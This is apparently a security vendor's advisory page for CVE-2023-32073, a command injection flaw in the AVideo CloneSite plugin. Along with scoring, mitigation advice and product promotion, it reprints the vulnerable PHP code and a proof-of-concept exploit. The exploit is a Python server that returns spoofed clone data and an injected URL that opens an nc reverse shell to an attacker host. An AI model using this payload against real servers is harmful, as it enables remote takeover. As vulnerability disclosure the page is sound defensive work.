CVE-2023-32073 is a high-severity (CVSS 8.8) CWE-77 vulnerability in wwbn/avideo. 1 public exploit reference exists, so weaponization risk is real. No vendor fix is recorded yet; mitigation options are listed below.
AVideo command injection vulnerability
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2023-32073.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2023-32073 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Description
WWBN AVideo Authenticated RCE
A command injection vulnerability exists at plugin/CloneSite/cloneClient.json.php which allows Remote Code Execution if you CloneSite Plugin. This is a bypass to the fix for CVE-2023-30854 which affects WWBN Avideo up to version 12.3
Vulnerable Code
/plugin/CloneSite/cloneClient.json.php
$json->sqlFile = escapeshellarg(preg_replace('/[^a-z0-9_.-]/i', '', $json->sqlFile));
$json->videoFiles = escapeshellarg(preg_replace('/[^a-z0-9_.-]/i', '', $json->videoFiles));
$json->photoFiles = escapeshellarg(preg_replace('/[^a-z0-9_.-]/i', '', $json->photoFiles));
// get dump file
$cmd = "wget -O {$clonesDir}{$json->sqlFile} {$objClone->cloneSiteURL}videos/cache/clones/{$json->sqlFile}";
$log->add("Clone (2 of {$totalSteps}): Geting MySQL Dump file");
exec($cmd . " 2>&1", $output, $return_val);
The $objClone->cloneSiteURL is not properly sanitized.
Exploit Proof-of-Concept
avidexploit.py
from http.server import BaseHTTPRequestHandler, HTTPServer
import time
hostName = "localhost"
serverPort = 8080
class MyServer(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-type", "application/json")
self.end_headers()
self.wfile.write(bytes("{\"error\":false,\"msg\":\"\",\"url\":\"https:\/\/attacker.com/\/\",\"key\":\"2d6db3c09e41a9c27dbc72aecc4a6fc0\",\"useRsync\":1,\"videosDir\":\"\/var\/www\/html\/demo.avideo.com\/videos\/\",\"sqlFile\":\"Clone_mysqlDump_644ab263e62d6.sql\",\"videoFiles\":[],\"photoFiles\":[]}", "utf-8"))
if __name__ == "__main__":
webServer = HTTPServer((hostName, serverPort), MyServer)
print("Server started http://%s:%s" % (hostName, serverPort))
try:
webServer.serve_forever()
except KeyboardInterrupt:
pass
webServer.server_close()
print("Server stopped.")
Run in command line
$ python3 avidexploit.py &
$ ngrok tcp 8080 # optional if not running in VPS
- Then get your public facing IP and Port. Enter a cloneSiteURL like the following then hit clone to achieve command injection
http://2.tcp.ngrok.io:14599/;nc$IFS'ATTACKER.COM'$IFS'5555'$IFS-e$IFS/bin/sh;#
It is important to not use white spaces for the exploit to work. Replace whitespace with $IFS when adding arguments to your RCE

Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of wwbn/avideo has shipped for CVE-2023-32073 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2023-32073 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2023-32073. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2023-32073 in your dependencies?
O3 Security finds CVE-2023-32073 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.
